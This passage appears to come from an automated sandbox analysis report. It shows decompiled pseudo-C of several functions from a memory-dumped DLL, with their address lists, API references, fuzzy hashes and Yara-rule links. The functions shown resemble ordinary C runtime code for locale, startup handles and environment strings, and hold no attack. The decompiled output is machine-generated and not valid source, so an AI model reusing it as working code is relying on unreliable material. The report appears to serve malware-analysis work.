				short _t302;
				signed int _t303;
				void* _t305;
				void* _t306;
				void* _t307;

				_t167 =  *0x6e1bb164; // 0x55e3ddbb
				_v8 = _t167 ^ _t303;
				_t236 = _a8;
				_t284 = _a4;
				_v744 = _t236;
				_v728 = E6E17FA06(_t236, __ecx, __edx) + 0x278;
				_push( &_v708);
				_t174 = E6E1817C5(_t236, __edx, _t284, _a12, _a12,  &_v272, 0x83,  &_v700, 0x55);
				_t306 = _t305 + 0x18;
				if(_t174 != 0) {
					_t11 = _t236 + 2; // 0x6
					_t291 = _t11 << 4;
					__eflags = _t291;
					_t175 =  &_v272;
					_v716 = _t291;
					_t244 =  *((intOrPtr*)(_t291 + _t284));
					while(1) {
						_v704 = _v704 & 0x00000000;
						__eflags =  *_t175 -  *_t244;
						_t293 = _v716;
						if( *_t175 !=  *_t244) {
							break;
						}
						__eflags =  *_t175;
						if( *_t175 == 0) {
							L8:
							_t176 = _v704;
						} else {
							_t302 =  *((intOrPtr*)(_t175 + 2));
							__eflags = _t302 -  *((intOrPtr*)(_t244 + 2));
							_v710 = _t302;
							_t293 = _v716;
							if(_t302 !=  *((intOrPtr*)(_t244 + 2))) {
								break;
							} else {
								_t175 = _t175 + 4;
								_t244 = _t244 + 4;
								__eflags = _v710;
								if(_v710 != 0) {
									continue;
								} else {
									goto L8;
								}
							}
						}
						L10:
						__eflags = _t176;
						if(_t176 != 0) {
							_t245 =  &_v272;
							_t278 = _t245 + 2;
							do {
								_t177 =  *_t245;
								_t245 = _t245 + 2;
								__eflags = _t177 - _v704;
							} while (_t177 != _v704);
							_v720 = (_t245 - _t278 >> 1) + 1;
							_t180 = E6E17FBEC(_t245 - _t278 >> 1, 4 + ((_t245 - _t278 >> 1) + 1) * 2);
							_v732 = _t180;
							__eflags = _t180;
							if(_t180 == 0) {
								goto L1;
							} else {
								_v724 =  *((intOrPtr*)(_t293 + _t284));
								_t35 = _t236 * 4; // 0x8496
								_v736 =  *((intOrPtr*)(_t284 + _t35 + 0xa0));
								_t38 = _t284 + 8; // 0x8b56ff8b
								_v740 =  *_t38;
								_t254 =  &_v272;
								_v712 = _t180 + 4;
								_t184 = E6E17D69C(_t180 + 4, _v720,  &_v272);
								_t307 = _t306 + 0xc;
								__eflags = _t184;
								if(_t184 != 0) {
									_t185 = _v728;
									_push(_t185);
									_push(_t185);
									_push(_t185);
									_push(_t185);
									_push(_t185);
									E6E178956();
									asm("int3");
									_push(_t303);
									_t187 =  &_v852;
									GetStartupInfoW(_t187);
									__eflags = _v802;
									if(_v802 != 0) {
										_t187 = _v48;
										__eflags = _t187;
										if(_t187 != 0) {
											_push(_t236);
											_push(_t293);
											_t295 = _t187->cb;
											_t238 =  &(_t187->lpReserved);
											_v32 = _t238 + _t295;
											__eflags = _t295 - 0x2000;
											if(__eflags >= 0) {
												_t295 = 0x2000;
											}
											_push(_t295);
											E6E183E39(_t254, _t278, __eflags);
											_t191 =  *0x6e2538b0; // 0x40
											__eflags = _t295 - _t191;
											if(_t295 > _t191) {
												_t295 = _t191;
											}
											_push(_t284);
											_t286 = 0;
											__eflags = _t295;
											if(_t295 == 0) {
												L61:
												return _t191;
											} else {
												_t192 = _v32;
												do {
													_t256 =  *_t192;
													__eflags = _t256 - 0xffffffff;
													if(_t256 == 0xffffffff) {
														goto L60;
													}
													__eflags = _t256 - 0xfffffffe;
													if(_t256 == 0xfffffffe) {
														goto L60;
													}
													_t279 =  *_t238;
													__eflags = _t279 & 0x00000001;
													if((_t279 & 0x00000001) == 0) {
														goto L60;
													}
													__eflags = _t279 & 0x00000008;
													if((_t279 & 0x00000008) != 0) {
														L58:
														_t281 = (_t286 & 0x0000003f) * 0x30 +  *((intOrPtr*)(0x6e2536b0 + (_t286 >> 6) * 4));
														__eflags = _t281;
														 *(_t281 + 0x18) =  *_v32;
														 *((char*)(_t281 + 0x28)) =  *_t238;
														L59:
														_t192 = _v32;
														goto L60;
													}
													_t198 = GetFileType(_t256);
													__eflags = _t198;
													if(_t198 == 0) {
														goto L59;
													}
													goto L58;
													L60:
													_t286 = _t286 + 1;
													_t192 =  &(_t192[1]);
													_t238 =  &(_t238[0]);
													_v32 = _t192;
													__eflags = _t286 - _t295;
												} while (_t286 != _t295);
												goto L61;
											}
										}
									}
									return _t187;
								} else {
									__eflags = _v272 - 0x43;
									 *((intOrPtr*)(_t293 + _t284)) = _v712;
									if(_v272 != 0x43) {
										L19:
										_t201 = E6E181534(_t236, _t254, _t284,  &_v700);
										_t260 = _v704;
										 *(_t284 + 0xa0 + _t236 * 4) = _t201;
									} else {
										__eflags = _v270;
										if(_v270 != 0) {
											goto L19;
										} else {
											_t260 = _v704;
											 *(_t284 + 0xa0 + _t236 * 4) = _t260;
										}
									}
									__eflags = _t236 - 2;
									if(_t236 != 2) {
										__eflags = _t236 - 1;
										if(_t236 != 1) {
											__eflags = _t236 - 5;
											if(_t236 == 5) {
												 *((intOrPtr*)(_t284 + 0x14)) = _v708;
											}
										} else {
											 *((intOrPtr*)(_t284 + 0x10)) = _v708;
										}
									} else {
										_t300 = _v728;
										_t282 = _t260;
										_t270 = _t300;
										 *(_t284 + 8) = _v708;
										_v712 = _t300;
										_v720 = _t300[8];
										_v708 = _t300[9];
										while(1) {
											_t64 = _t284 + 8; // 0x8b56ff8b
											__eflags =  *_t64 -  *_t270;
											if( *_t64 ==  *_t270) {
												break;
											}
											_t301 = _v712;
											_t282 = _t282 + 1;
											_t233 =  *_t270;
											 *_t301 = _v720;
											_v708 = _t270[1];
											_t270 = _t301 + 8;
											 *((intOrPtr*)(_t301 + 4)) = _v708;
											_t236 = _v744;
											_t300 = _v728;
											_v720 = _t233;
											_v712 = _t270;
											__eflags = _t282 - 5;
											if(_t282 < 5) {
												continue;
											} else {
											}
											L27:
											__eflags = _t282 - 5;
											if(__eflags == 0) {
												_t88 = _t284 + 8; // 0x8b56ff8b
												_t224 = E6E185C7C(_t236, _t284, _t300, __eflags, _v704, 1, 0x6e1af9e8, 0x7f,  &_v528,  *_t88, 1);
												_t307 = _t307 + 0x1c;
												__eflags = _t224;
												_t225 = _v704;
												if(_t224 == 0) {
													_t300[1] = _t225;
												} else {
													do {
														 *(_t303 + _t225 * 2 - 0x20c) =  *(_t303 + _t225 * 2 - 0x20c) & 0x000001ff;
														_t225 = _t225 + 1;
														__eflags = _t225 - 0x7f;
													} while (_t225 < 0x7f);
													_t228 = E6E175FDD( &_v528,  *0x6e1bb2d4, 0xfe);
													_t307 = _t307 + 0xc;
													__eflags = _t228;
													_t300[1] = 0 | _t228 == 0x00000000;
												}
												_t103 = _t284 + 8; // 0x8b56ff8b
												 *_t300 =  *_t103;
											}
											 *(_t284 + 0x18) = _t300[1];
											goto L38;
										}
										__eflags = _t282;
										if(_t282 != 0) {
											 *_t300 =  *(_t300 + _t282 * 8);
											_t300[1] =  *(_t300 + 4 + _t282 * 8);
											 *(_t300 + _t282 * 8) = _v720;
											 *(_t300 + 4 + _t282 * 8) = _v708;
										}
										goto L27;
									}
									L38:
									_t202 = _t236 * 0xc;
									_t110 = _t202 + 0x6e1af928; // 0x6e172dcb
									 *0x6e1911c4(_t284); // executed
									_t204 =  *((intOrPtr*)( *_t110))(); // executed
									_t263 = _v724;
									__eflags = _t204;
									if(_t204 == 0) {
										__eflags = _t263 - 0x6e1bb3a0;
										if(_t263 != 0x6e1bb3a0) {
											_t299 = _t236 + _t236;
											__eflags = _t299;
											asm("lock xadd [eax], ecx");
											if(_t299 != 0) {
												goto L43;
											} else {
												_t128 = _t299 * 8; // 0x30ff068b
												E6E17FBB2( *((intOrPtr*)(_t284 + _t128 + 0x28)));
												_t131 = _t299 * 8; // 0x30ff0c46
												E6E17FBB2( *((intOrPtr*)(_t284 + _t131 + 0x24)));
												_t134 = _t236 * 4; // 0x8496
												E6E17FBB2( *((intOrPtr*)(_t284 + _t134 + 0xa0)));
												_t266 = _v704;
												 *((intOrPtr*)(_v716 + _t284)) = _t266;
												 *(_t284 + 0xa0 + _t236 * 4) = _t266;
											}
										}
										_t264 = _v732;
										 *_t264 = 1;
										 *((intOrPtr*)(_t284 + 0x28 + (_t236 + _t236) * 8)) = _t264;
									} else {
										 *(_v716 + _t284) = _t263;
										_t115 = _t236 * 4; // 0x8496
										E6E17FBB2( *((intOrPtr*)(_t284 + _t115 + 0xa0)));
										 *(_t284 + 0xa0 + _t236 * 4) = _v736;
										E6E17FBB2(_v732);
										 *(_t284 + 8) = _v740;
										goto L1;
									}
									goto L2;
								}
							}
						} else {
							goto L2;
						}
						goto L63;
					}
					asm("sbb eax, eax");
					_t176 = _t175 | 0x00000001;
					__eflags = _t176;
					goto L10;
				} else {
					L1:
					L2:
					return E6E173D51(_v8 ^ _t303);
				}
				L63:
			}

0x6e182086
0x6e18208d
0x6e182091
0x6e182099
0x6e18209c
0x6e1820ac
0x6e1820b8
0x6e1820cf
0x6e1820d4
0x6e1820d9
0x6e1820ee
0x6e1820f1
0x6e1820f1
0x6e1820f4
0x6e1820fa
0x6e182103
0x6e182105
0x6e182108
0x6e18210f
0x6e182112
0x6e182118
0x00000000
0x00000000
0x6e18211a
0x6e18211e
0x6e182147
0x6e182147
0x6e182120
0x6e182120
0x6e182124
0x6e182128
0x6e18212f
0x6e182135
0x00000000
0x6e182137
0x6e182137
0x6e18213a
0x6e18213d
0x6e182145
0x00000000
0x00000000
0x00000000
0x00000000
0x6e182145
0x6e182135
0x6e182154
0x6e182154
0x6e182156
0x6e18215c
0x6e182162
0x6e182165
0x6e182165
0x6e182168
0x6e18216b
0x6e18216b
0x6e18217b
0x6e182189
0x6e18218e
0x6e182195
0x6e182197
0x00000000
0x6e18219d
0x6e1821a3
0x6e1821a9
0x6e1821b0
0x6e1821b6
0x6e1821b9
0x6e1821bf
0x6e1821cc
0x6e1821d3
0x6e1821d8
0x6e1821db
0x6e1821dd
0x6e182436
0x6e18243c
0x6e18243d
0x6e18243e
0x6e18243f
0x6e182440
0x6e182441
0x6e182446
0x6e182449
0x6e18244f
0x6e182453
0x6e182459
0x6e18245e
0x6e182464
0x6e182467
0x6e182469
0x6e18246f
0x6e182470
0x6e182471
0x6e182473
0x6e182479
0x6e182481
0x6e182483
0x6e182485
0x6e182485
0x6e182487
0x6e182488
0x6e18248d
0x6e182493
0x6e182495
0x6e182497
0x6e182497
0x6e182499
0x6e18249a
0x6e18249c
0x6e18249e
0x6e1824f6
0x00000000
0x6e1824a0
0x6e1824a0
0x6e1824a3
0x6e1824a3
0x6e1824a5
0x6e1824a8
0x00000000
0x00000000
0x6e1824aa
0x6e1824ad
0x00000000
0x00000000
0x6e1824af
0x6e1824b1
0x6e1824b4
0x00000000
0x00000000
0x6e1824b6
0x6e1824b9
0x6e1824c6
0x6e1824d6
0x6e1824d6
0x6e1824df
0x6e1824e4
0x6e1824e7
0x6e1824e7
0x00000000
0x6e1824e7
0x6e1824bc
0x6e1824c2
0x6e1824c4
0x00000000
0x00000000
0x00000000
0x6e1824ea
0x6e1824ea
0x6e1824eb
0x6e1824ee
0x6e1824ef
0x6e1824f2
0x6e1824f2
0x00000000
0x6e1824a3
0x6e18249e
0x6e182469
0x6e1824fc
0x6e1821e3
0x6e1821e3
0x6e1821f1
0x6e1821f4
0x6e18220f
0x6e182216
0x6e18221c
0x6e182222
0x6e1821f6
0x6e1821f6
0x6e1821fe
0x00000000
0x6e182200
0x6e182200
0x6e182206
0x6e182206
0x6e1821fe
0x6e182229
0x6e18222c
0x6e182349
0x6e18234c
0x6e182359
0x6e18235c
0x6e182364
0x6e182364
0x6e18234e
0x6e182354
0x6e182354
0x6e182232
0x6e182232
0x6e182238
0x6e182240
0x6e182242
0x6e182245
0x6e18224e
0x6e182257
0x6e18225d
0x6e18225d
0x6e182260
0x6e182262
0x00000000
0x00000000
0x6e182264
0x6e18226a
0x6e18226b
0x6e182276
0x6e18227e
0x6e182286
0x6e182289
0x6e18228c
0x6e182292
0x6e182298
0x6e18229e
0x6e1822a4
0x6e1822a7
0x00000000
0x00000000
0x6e1822a9
0x6e1822ce
0x6e1822ce
0x6e1822d1
0x6e1822d5
0x6e1822ee
0x6e1822f3
0x6e1822f6
0x6e1822f8
0x6e1822fe
0x6e182339
0x6e182300
0x6e182300
0x6e182305
0x6e18230d
0x6e18230e
0x6e18230e
0x6e182325
0x6e18232c
0x6e18232f
0x6e182334
0x6e182334
0x6e18233c
0x6e18233f
0x6e18233f
0x6e182344
0x00000000
0x6e182344
0x6e1822ab
0x6e1822ad
0x6e1822b2
0x6e1822b8
0x6e1822c1
0x6e1822ca
0x6e1822ca
0x00000000
0x6e1822ad
0x6e182367
0x6e182367
0x6e18236b
0x6e182373
0x6e182379
0x6e18237c
0x6e182382
0x6e182384
0x6e1823c4
0x6e1823ca
0x6e1823d1
0x6e1823d1
0x6e1823d7
0x6e1823db
0x00000000
0x6e1823dd
0x6e1823dd
0x6e1823e1
0x6e1823e6
0x6e1823ea
0x6e1823ef
0x6e1823f6
0x6e182404
0x6e18240a
0x6e18240d
0x6e18240d
0x6e1823db
0x6e18241c
0x6e182424
0x6e18242d
0x6e182386
0x6e18238c
0x6e18238f
0x6e182396
0x6e1823a8
0x6e1823af
0x6e1823bc
0x00000000
0x6e1823bc
0x00000000
0x6e182384
0x6e1821dd
0x6e182158
0x00000000
0x6e182158
0x00000000
0x6e182156
0x6e18214f
0x6e182151
0x6e182151
0x00000000
0x6e1820db
0x6e1820db
0x6e1820dd
0x6e1820ed
0x6e1820ed
0x00000000

APIs

Part of subcall function 6E17FA06: GetLastError.KERNEL32(?,?,6E17A016,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001), ref: 6E17FA0A
Part of subcall function 6E17FA06: _free.LIBCMT ref: 6E17FA3D
Part of subcall function 6E17FA06: SetLastError.KERNEL32(00000000,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001,?,?,?,?,?,?,?,6E170044), ref: 6E17FA7E
Part of subcall function 6E17FA06: _abort.LIBCMT ref: 6E17FA84

_memcmp.LIBVCRUNTIME ref: 6E182325
_free.LIBCMT ref: 6E182396
_free.LIBCMT ref: 6E1823AF
_free.LIBCMT ref: 6E1823E1
_free.LIBCMT ref: 6E1823EA
_free.LIBCMT ref: 6E1823F6
GetStartupInfoW.KERNEL32(?), ref: 6E182453
GetFileType.KERNEL32(?,6E18142E,?,00000004), ref: 6E1824BC

Strings

C, xrefs: 6E1821E3

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorLast$FileInfoStartupType_abort_memcmp
String ID: C
API String ID: 1665419104-1037565863
Opcode ID: 41094ec703d60bdf42de3b7a8c629af55846e10360b634459c4a687bc2e8ac06
Instruction ID: 4fc51b6e19c337a3e6fac68698f8d646d76189cec8ba77ac02e215d6f6567571
Opcode Fuzzy Hash: 41094ec703d60bdf42de3b7a8c629af55846e10360b634459c4a687bc2e8ac06
Instruction Fuzzy Hash: 0FD18B75A0121ADFDB25CFA8C894A9EB7B4FF59314F2045AAE819A7350D730AEC0DF50

Uniqueness

Uniqueness Score: -1.00%

Function 6E189178, Relevance: 7.6, APIs: 5, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6E189178() {
				int _v8;
				void* __ecx;
				void* _t6;
				int _t7;
				char* _t8;
				char* _t13;
				int _t17;
				void* _t19;
				char* _t25;
				WCHAR* _t27;

				_t27 = GetEnvironmentStringsW();
				if(_t27 == 0) {
					L7:
					_t13 = 0;
				} else {
					_t6 = E6E189141(_t27);
					_pop(_t19);
					_t17 = _t6 - _t27 >> 1;
					_t7 = WideCharToMultiByte(0, 0, _t27, _t17, 0, 0, 0, 0);
					_v8 = _t7;
					if(_t7 == 0) {
						goto L7;
					} else {
						_t8 = E6E17FBEC(_t19, _t7); // executed
						_t25 = _t8;
						if(_t25 == 0 || WideCharToMultiByte(0, 0, _t27, _t17, _t25, _v8, 0, 0) == 0) {
							_t13 = 0;
						} else {
							_t13 = _t25;
							_t25 = 0;
						}
						E6E17FBB2(_t25);
					}
				}
				if(_t27 != 0) {
					FreeEnvironmentStringsW(_t27);
				}
				return _t13;
			}

0x6e189187
0x6e18918d
0x6e1891e5
0x6e1891e5
0x6e18918f
0x6e189190
0x6e189195
0x6e18919e
0x6e1891a4
0x6e1891aa
0x6e1891af
0x00000000
0x6e1891b1
0x6e1891b2
0x6e1891b7
0x6e1891bc
0x6e1891da
0x6e1891d4
0x6e1891d4
0x6e1891d6
0x6e1891d6
0x6e1891dd
0x6e1891e2
0x6e1891af
0x6e1891e9
0x6e1891ec
0x6e1891ec
0x6e1891fa

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6E189181
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 6E1891A4

Part of subcall function 6E17FBEC: RtlAllocateHeap.NTDLL(00000000,0000060B,?,?,6E173D1F,0000060B,?,6E1673C4,0000060B), ref: 6E17FC1E

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 6E1891CA
_free.LIBCMT ref: 6E1891DD
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6E1891EC

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 656838a586151f2d065f4844b37bcb1528b5a05eae63d5f6623ed9c1fe8a690e
Instruction ID: 91f54e47ac6f1d6bbe8b21e714bfe70111f709fd524685822ca1733cde6daed2
Opcode Fuzzy Hash: 656838a586151f2d065f4844b37bcb1528b5a05eae63d5f6623ed9c1fe8a690e
Instruction Fuzzy Hash: 3801D8727056567F2B2155FA5CACCBF2E6DEAC7EB03254119FD18C7100EE618C81A570

Uniqueness

Uniqueness Score: -1.00%

Function 6E185ACA, Relevance: 4.6, APIs: 3, Instructions: 150
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E6E185ACA(void* __ebx, void* __edx, void* __edi, void* __esi, int _a4, char* _a8, int _a12, signed int _a16, int _a20, signed int _a24) {
				signed int _v8;
				signed int _v12;
				int _v16;
				char _v20;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v44;
				char _v136;
				void* _v140;
				signed int _v144;
				int _v148;
				int _v156;
				intOrPtr _v176;
				signed int _v188;
				char _v208;
				signed int _t64;
				signed int _t66;
				signed int _t77;
				signed int _t78;
				signed int _t80;
				signed int _t82;
				void* _t85;
				signed int _t87;
				signed int _t93;
				intOrPtr _t96;
				int _t99;
				signed int _t101;
				int _t106;
				signed int* _t108;
				void* _t109;
				void* _t114;
				int _t120;
				signed int _t123;
				signed int _t125;
				signed int _t126;
				signed int _t130;
				int _t131;
				void* _t133;
				signed int _t134;
				short* _t135;
				signed int _t136;
				signed int _t137;
				void* _t138;
				void* _t139;
				void* _t142;
				signed int _t143;
				short* _t144;

				_t128 = __edx;
				_t64 =  *0x6e1bb164; // 0x55e3ddbb
				_v8 = _t64 ^ _t136;
				_t66 = _a8;
				_t110 = _a4;
				_t108 = _a20;
				_t133 = _a12;
				_t130 = 0;
				_v148 = _a4;
				_v140 = _t133;
				 *_t108 = 0;
				_t147 = _t66 - 1;
				if(_t66 != 1) {
					__eflags = _t66 - 2;
					if(__eflags != 0) {
						__eflags = _t66;
						if(__eflags != 0) {
							goto L20;
						} else {
							_v140 = 0;
							_t66 = E6E183961(_t110, _t133, __eflags, _t133, _a16 | 0x20000000,  &_v140, 2);
							__eflags = _t66;
							if(_t66 == 0) {
								goto L20;
							} else {
								 *_t108 = _v140;
								goto L4;
							}
						}
					} else {
						_t66 = E6E183961(_t110, _t133, __eflags, _t133, _a16, 0, 0);
						_v144 = _t66;
						__eflags = _t66;
						if(_t66 == 0) {
							goto L20;
						} else {
							_t134 = E6E17FB55(_t110, _t66, 2);
							_pop(_t114);
							__eflags = _t134;
							if(__eflags == 0) {
								goto L11;
							} else {
								_t77 = E6E183961(_t114, _t134, __eflags, _v140, _a16, _t134, _v144);
								goto L9;
							}
							goto L41;
						}
					}
					goto L21;
				} else {
					_t80 = E6E1859CF(_t108, __edx, 0, _t133, _t147, _t110, _t133, _a16,  &_v136, 0x80);
					_t139 = _t138 + 0x14;
					_v144 = _t80;
					if(_t80 == 0) {
						_t66 = GetLastError();
						__eflags = _t66 - 0x7a;
						if(__eflags != 0) {
							goto L20;
						} else {
							_t66 = E6E1859CF(_t108, _t128, 0, _t133, __eflags, _v148, _t133, _a16, 0, 0);
							_v144 = _t66;
							__eflags = _t66;
							if(_t66 == 0) {
								goto L20;
							} else {
								_t134 = E6E17FB55(_t110, _t66, 1);
								__eflags = _t134;
								if(__eflags == 0) {
									L11:
									__eflags = _t130;
								} else {
									_t77 = E6E1859CF(_t108, _t128, 0, _t134, __eflags, _v148, _v140, _a16, _t134, _v144);
									L9:
									__eflags = _t77;
									if(_t77 == 0) {
										goto L11;
									} else {
										_t78 = _t134;
										_t134 = _t130;
										 *_t108 = _t78;
									}
								}
								E6E17FBB2(_t134);
							}
						}
						goto L21;
					} else {
						_t82 = E6E17FB55(_t110, _t80, 1); // executed
						 *_t108 = _t82;
						_t66 = E6E17FBB2(0);
						_t142 = _t139 + 0xc;
						if( *_t108 == 0) {
							L20:
							__eflags = _t66 | 0xffffffff;
							goto L21;
						} else {
							_t118 = _v144;
							_push(_v144 - 1);
							_t85 = E6E18D133(_v144,  *_t108, _t118,  &_v136);
							_t143 = _t142 + 0x10;
							if(_t85 != 0) {
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								E6E178956();
								asm("int3");
								_push(_t136);
								_t137 = _t143;
								_t144 = _t143 - 0x18;
								_t87 =  *0x6e1bb164; // 0x55e3ddbb
								_v188 = _t87 ^ _t137;
								_push(_t108);
								_push(_t133);
								_push(0);
								E6E179118(_t108,  &_v208, _t128, _v176);
								_t120 = _v156;
								__eflags = _t120;
								if(_t120 == 0) {
									_t36 = _v28 + 8; // 0xc0b0a09
									_t106 =  *_t36;
									_t120 = _t106;
									_a20 = _t106;
								}
								_t131 = 0;
								__eflags = _a24;
								_t93 = MultiByteToWideChar(_t120, 1 + (0 | _a24 != 0x00000000) * 8, _a8, _a12, 0, 0);
								_v16 = _t93;
								__eflags = _t93;
								if(_t93 != 0) {
									_t109 = _t93 + _t93;
									_t47 = _t109 + 8; // 0xc
									_t123 = _t47;
									__eflags = _t109 - _t123;
									asm("sbb eax, eax");
									__eflags = _t123 & _t93;
									if((_t123 & _t93) == 0) {
										_t135 = 0;
										goto L34;
									} else {
										_t50 = _t109 + 8; // 0xc
										_t125 = _t50;
										__eflags = _t109 - _t125;
										asm("sbb eax, eax");
										_t101 = _t93 & _t125;
										_t51 = _t109 + 8; // 0xc
										_t126 = _t51;
										__eflags = _t101 - 0x400;
										if(_t101 > 0x400) {
											__eflags = _t109 - _t126;
											asm("sbb eax, eax");
											_t135 = E6E17FBEC(_t126, _t101 & _t126);
											__eflags = _t135;
											if(_t135 != 0) {
												 *_t135 = 0xdddd;
												goto L32;
											}
										} else {
											__eflags = _t109 - _t126;
											asm("sbb eax, eax");
											E6E174540();
											_t135 = _t144;
											__eflags = _t135;
											if(_t135 != 0) {
												 *_t135 = 0xcccc;
												L32:
												_t135 =  &(_t135[4]);
												L34:
												__eflags = _t135;
												if(_t135 != 0) {
													E6E1757E0(_t131, _t135, _t131, _t109);
													_t99 = MultiByteToWideChar(_a20, 1, _a8, _a12, _t135, _v16);
													__eflags = _t99;
													if(_t99 != 0) {
														_t131 = GetStringTypeW(_a4, _t135, _t99, _a16);
													}
												}
											}
										}
									}
									E6E1735A7(_t135);
								}
								__eflags = _v20;
								if(_v20 != 0) {
									_t96 = _v32;
									_t60 = _t96 + 0x350;
									 *_t60 =  *(_t96 + 0x350) & 0xfffffffd;
									__eflags =  *_t60;
								}
								__eflags = _v12 ^ _t137;
								return E6E173D51(_v12 ^ _t137);
							} else {
								L4:
								L21:
								return E6E173D51(_v8 ^ _t136);
							}
						}
					}
				}
				L41:
			}

0x6e185aca
0x6e185ad5
0x6e185adc
0x6e185adf
0x6e185ae2
0x6e185ae6
0x6e185aea
0x6e185aee
0x6e185af0
0x6e185af6
0x6e185afc
0x6e185afe
0x6e185b01
0x6e185be9
0x6e185bec
0x6e185c2a
0x6e185c2c
0x00000000
0x6e185c2e
0x6e185c36
0x6e185c47
0x6e185c4c
0x6e185c4e
0x00000000
0x6e185c50
0x6e185c56
0x00000000
0x6e185c56
0x6e185c4e
0x6e185bee
0x6e185bf4
0x6e185bf9
0x6e185bff
0x6e185c01
0x00000000
0x6e185c03
0x6e185c0b
0x6e185c0e
0x6e185c0f
0x6e185c11
0x00000000
0x6e185c13
0x6e185c23
0x00000000
0x6e185c23
0x00000000
0x6e185c11
0x6e185c01
0x00000000
0x6e185b07
0x6e185b18
0x6e185b1d
0x6e185b20
0x6e185b28
0x6e185b70
0x6e185b76
0x6e185b79
0x00000000
0x6e185b7f
0x6e185b8b
0x6e185b93
0x6e185b99
0x6e185b9b
0x00000000
0x6e185ba1
0x6e185ba9
0x6e185bad
0x6e185baf
0x6e185bdb
0x6e185bdb
0x6e185bb1
0x6e185bc7
0x6e185bcf
0x6e185bcf
0x6e185bd1
0x00000000
0x6e185bd3
0x6e185bd3
0x6e185bd5
0x6e185bd7
0x6e185bd7
0x6e185bd1
0x6e185bdf
0x6e185be5
0x6e185b9b
0x00000000
0x6e185b2a
0x6e185b2d
0x6e185b33
0x6e185b35
0x6e185b3a
0x6e185b3f
0x6e185c5d
0x6e185c5d
0x00000000
0x6e185b45
0x6e185b45
0x6e185b4e
0x6e185b59
0x6e185b5e
0x6e185b63
0x6e185c71
0x6e185c72
0x6e185c73
0x6e185c74
0x6e185c75
0x6e185c76
0x6e185c7b
0x6e185c7e
0x6e185c7f
0x6e185c81
0x6e185c84
0x6e185c8b
0x6e185c8e
0x6e185c8f
0x6e185c90
0x6e185c97
0x6e185c9c
0x6e185c9f
0x6e185ca1
0x6e185ca6
0x6e185ca6
0x6e185ca9
0x6e185cab
0x6e185cab
0x6e185cb0
0x6e185cb2
0x6e185cc9
0x6e185ccf
0x6e185cd2
0x6e185cd4
0x6e185cda
0x6e185cdd
0x6e185cdd
0x6e185ce0
0x6e185ce2
0x6e185ce4
0x6e185ce6
0x6e185d32
0x00000000
0x6e185ce8
0x6e185ce8
0x6e185ce8
0x6e185ceb
0x6e185ced
0x6e185cef
0x6e185cf1
0x6e185cf1
0x6e185cf4
0x6e185cf9
0x6e185d14
0x6e185d16
0x6e185d20
0x6e185d23
0x6e185d25
0x6e185d27
0x00000000
0x6e185d27
0x6e185cfb
0x6e185cfb
0x6e185cfd
0x6e185d01
0x6e185d06
0x6e185d08
0x6e185d0a
0x6e185d0c
0x6e185d2d
0x6e185d2d
0x6e185d34
0x6e185d34
0x6e185d36
0x6e185d3b
0x6e185d52
0x6e185d58
0x6e185d5a
0x6e185d6a
0x6e185d6a
0x6e185d5a
0x6e185d36
0x6e185d0a
0x6e185cf9
0x6e185d6d
0x6e185d72
0x6e185d73
0x6e185d77
0x6e185d79
0x6e185d7c
0x6e185d7c
0x6e185d7c
0x6e185d7c
0x6e185d8e
0x6e185d98
0x6e185b69
0x6e185b69
0x6e185c60
0x6e185c70
0x6e185c70
0x6e185b63
0x6e185b3f
0x6e185b28
0x00000000

APIs

_free.LIBCMT ref: 6E185BDF

Part of subcall function 6E1859CF: WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,?,00001004,00000000,00000000,?,00000080,00000000,00000000,?,00000080,00000000,00000000), ref: 6E185A95
Part of subcall function 6E1859CF: __freea.LIBCMT ref: 6E185A9E

_free.LIBCMT ref: 6E185B35

Part of subcall function 6E17FBB2: HeapFree.KERNEL32(00000000,00000000,?,6E18B6FD,6E1673C4,00000000,6E1673C4,00000000,?,6E18B9A1,6E1673C4,00000007,6E1673C4,?,6E189934,6E1673C4), ref: 6E17FBC8
Part of subcall function 6E17FBB2: GetLastError.KERNEL32(6E1673C4,?,6E18B6FD,6E1673C4,00000000,6E1673C4,00000000,?,6E18B9A1,6E1673C4,00000007,6E1673C4,?,6E189934,6E1673C4,6E1673C4), ref: 6E17FBDA

GetLastError.KERNEL32(?,?,?,?,00000000), ref: 6E185B70

Part of subcall function 6E17FB55: RtlAllocateHeap.NTDLL(00000008,6E1673C4,00000000,?,6E17FABB,00000001,00000364,?,0000060B,?,6E17BB83,6E17FC2F,?,?,6E173D1F,0000060B), ref: 6E17FB96

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

